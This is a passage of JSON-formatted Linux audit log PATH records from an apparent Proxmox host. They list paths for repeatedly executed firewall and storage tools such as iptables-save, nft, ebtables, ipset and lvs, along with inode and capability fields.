rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105196,"@rawstring":"node=pve type=PATH msg=audit(1781965105.196:64184): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105196,"@rawstring":"node=pve type=PATH msg=audit(1781965105.196:64184): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105194,"@rawstring":"node=pve type=PATH msg=audit(1781965105.194:64183): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105194,"@rawstring":"node=pve type=PATH msg=audit(1781965105.194:64183): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105192,"@rawstring":"node=pve type=PATH msg=audit(1781965105.192:64182): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105192,"@rawstring":"node=pve type=PATH msg=audit(1781965105.192:64182): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105192,"@rawstring":"node=pve type=PATH msg=audit(1781965105.192:64181): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105188,"@rawstring":"node=pve type=PATH msg=audit(1781965105.188:64180): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105188,"@rawstring":"node=pve type=PATH msg=audit(1781965105.188:64180): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105188,"@rawstring":"node=pve type=PATH msg=audit(1781965105.188:64180): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105182,"@rawstring":"node=pve type=PATH msg=audit(1781965105.182:64179): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105182,"@rawstring":"node=pve type=PATH msg=audit(1781965105.182:64179): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105174,"@rawstring":"node=pve type=PATH msg=audit(1781965105.174:64178): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105174,"@rawstring":"node=pve type=PATH msg=audit(1781965105.174:64178): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105170,"@rawstring":"node=pve type=PATH msg=audit(1781965105.170:64177): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105170,"@rawstring":"node=pve type=PATH msg=audit(1781965105.170:64177): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105162,"@rawstring":"node=pve type=PATH msg=audit(1781965105.162:64176): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105162,"@rawstring":"node=pve type=PATH msg=audit(1781965105.162:64176): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105154,"@rawstring":"node=pve type=PATH msg=audit(1781965105.154:64175): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105154,"@rawstring":"node=pve type=PATH msg=audit(1781965105.154:64175): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965104486,"@rawstring":"node=pve type=PATH msg=audit(1781965104.486:64174): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965104486,"@rawstring":"node=pve type=PATH msg=audit(1781965104.486:64174): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965104457,"@rawstring":"node=pve type=PATH msg=audit(1781965104.457:64173): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965104457,"@rawstring":"node=pve type=PATH msg=audit(1781965104.457:64173): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965101787,"@rawstring":"node=pve type=PATH msg=audit(1781965101.787:64172): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965101787,"@rawstring":"node=pve type=PATH msg=audit(1781965101.787:64172): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965101787,"@rawstring":"node=pve type=PATH msg=audit(1781965101.787:64171): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965101787,"@rawstring":"node=pve type=PATH msg=audit(1781965101.787:64170): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965101781,"@rawstring":"node=pve type=PATH msg=audit(1781965101.781:64169): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965101781,"@rawstring":"node=pve type=PATH msg=audit(1781965101.781:64169): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965101781,"@rawstring":"node=pve type=PATH msg=audit(1781965101.781:64168): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965101780,"@rawstring":"node=pve type=PATH msg=audit(1781965101.780:64167): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965096772,"@rawstring":"node=pve type=PATH msg=audit(1781965096.772:64166): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965096772,"@rawstring":"node=pve type=PATH msg=audit(1781965096.772:64166): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965096772,"@rawstring":"node=pve type=PATH msg=audit(1781965096.772:64165): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965096772,"@rawstring":"node=pve type=PATH msg=audit(1781965096.772:64164): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965096765,"@rawstring":"node=pve type=PATH msg=audit(1781965096.765:64163): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965096765,"@rawstring":"node=pve type=PATH msg=audit(1781965096.765:64163): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965096765,"@rawstring":"node=pve type=PATH msg=audit(1781965096.765:64162): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965096765,"@rawstring":"node=pve type=PATH msg=audit(1781965096.765:64161): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095142,"@rawstring":"node=pve type=PATH msg=audit(1781965095.142:64160): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095142,"@rawstring":"node=pve type=PATH msg=audit(1781965095.142:64160): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095138,"@rawstring":"node=pve type=PATH msg=audit(1781965095.138:64159): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095138,"@rawstring":"node=pve type=PATH msg=audit(1781965095.138:64159): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095137,"@rawstring":"node=pve type=PATH msg=audit(1781965095.137:64158): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095137,"@rawstring":"node=pve type=PATH msg=audit(1781965095.137:64158): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095137,"@rawstring":"node=pve type=PATH msg=audit(1781965095.137:64157): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095133,"@rawstring":"node=pve type=PATH msg=audit(1781965095.133:64156): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095133,"@rawstring":"node=pve type=PATH msg=audit(1781965095.133:64156): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095133,"@rawstring":"node=pve type=PATH msg=audit(1781965095.133:64156): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095126,"@rawstring":"node=pve type=PATH msg=audit(1781965095.126:64155): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095126,"@rawstring":"node=pve type=PATH msg=audit(1781965095.126:64155): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095120,"@rawstring":"node=pve type=PATH msg=audit(1781965095.120:64154): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095120,"@rawstring":"node=pve type=PATH msg=audit(1781965095.120:64154): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095112,"@rawstring":"node=pve type=PATH msg=audit(1781965095.112:64153): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095112,"@rawstring":"node=pve type=PATH msg=audit(1781965095.112:64153): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095106,"@rawstring":"node=pve type=PATH msg=audit(1781965095.106:64152): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095106,"@rawstring":"node=pve type=PATH msg=audit(1781965095.106:64152): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095102,"@rawstring":"node=pve type=PATH msg=audit(1781965095.102:64150): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095102,"@rawstring":"node=pve type=PATH msg=audit(1781965095.102:64150): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095096,"@rawstring":"node=pve type=PATH msg=audit(1781965095.096:64149): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095096,"@rawstring":"node=pve type=PATH msg=audit(1781965095.096:64149): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095092,"@rawstring":"node=pve type=PATH msg=audit(1781965095.092:64148): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095092,"@rawstring":"node=pve type=PATH msg=audit(1781965095.092:64148): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095086,"@rawstring":"node=pve type=PATH msg=audit(1781965095.086:64147): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095086,"@rawstring":"node=pve type=PATH msg=audit(1781965095.086:64147): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095082,"@rawstring":"node=pve type=PATH msg=audit(1781965095.082:64146): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095082,"@rawstring":"node=pve type=PATH msg=audit(1781965095.082:64146): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095076,"@rawstring":"node=pve type=PATH msg=audit(1781965095.076:64145): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095076,"@rawstring":"node=pve type=PATH msg=audit(1781965095.076:64145): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095070,"@rawstring":"node=pve type=PATH msg=audit(1781965095.070:64144): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095070,"@rawstring":"node=pve type=PATH msg=audit(1781965095.070:64144): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095064,"@rawstring":"node=pve type=PATH msg=audit(1781965095.064:64143): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095064,"@rawstring":"node=pve type=PATH msg=audit(1781965095.064:64143): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095060,"@rawstring":"node=pve type=PATH msg=audit(1781965095.060:64142): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095060,"@rawstring":"node=pve type=PATH msg=audit(1781965095.060:64142): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095056,"@rawstring":"node=pve type=PATH msg=audit(1781965095.056:64141): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095056,"@rawstring":"node=pve type=PATH msg=audit(1781965095.056:64141): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095054,"@rawstring":"node=pve type=PATH msg=audit(1781965095.054:64140): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095054,"@rawstring":"node=pve type=PATH msg=audit(1781965095.054:64140): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095054,"@rawstring":"node=pve type=PATH msg=audit(1781965095.054:64139): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095052,"@rawstring":"node=pve type=PATH msg=audit(1781965095.052:64138): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095052,"@rawstring":"node=pve type=PATH msg=audit(1781965095.052:64138): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095052,"@rawstring":"node=pve type=PATH msg=audit(1781965095.052:64138): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095043,"@rawstring":"node=pve type=PATH msg=audit(1781965095.043:64137): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095043,"@rawstring":"node=pve type=PATH msg=audit(1781965095.043:64137): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095035,"@rawstring":"node=pve type=PATH msg=audit(1781965095.035:64136): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095035,"@rawstring":"node=pve type=PATH msg=audit(1781965095.035:64136): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095031,"@rawstring":"node=pve type=PATH msg=audit(1781965095.031:64135): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095031,"@rawstring":"node=pve type=PATH msg=audit(1781965095.031:64135): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095023,"@rawstring":"node=pve type=PATH msg=audit(1781965095.023:64134): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095023,"@rawstring":"node=pve type=PATH msg=audit(1781965095.023:64134): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095010,"@rawstring":"node=pve type=PATH msg=audit(1781965095.010:64133): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965095010,"@rawstring":"node=pve type=PATH msg=audit(1781965095.010:64133): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965094351,"@rawstring":"node=pve type=PATH msg=audit(1781965094.351:64132): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 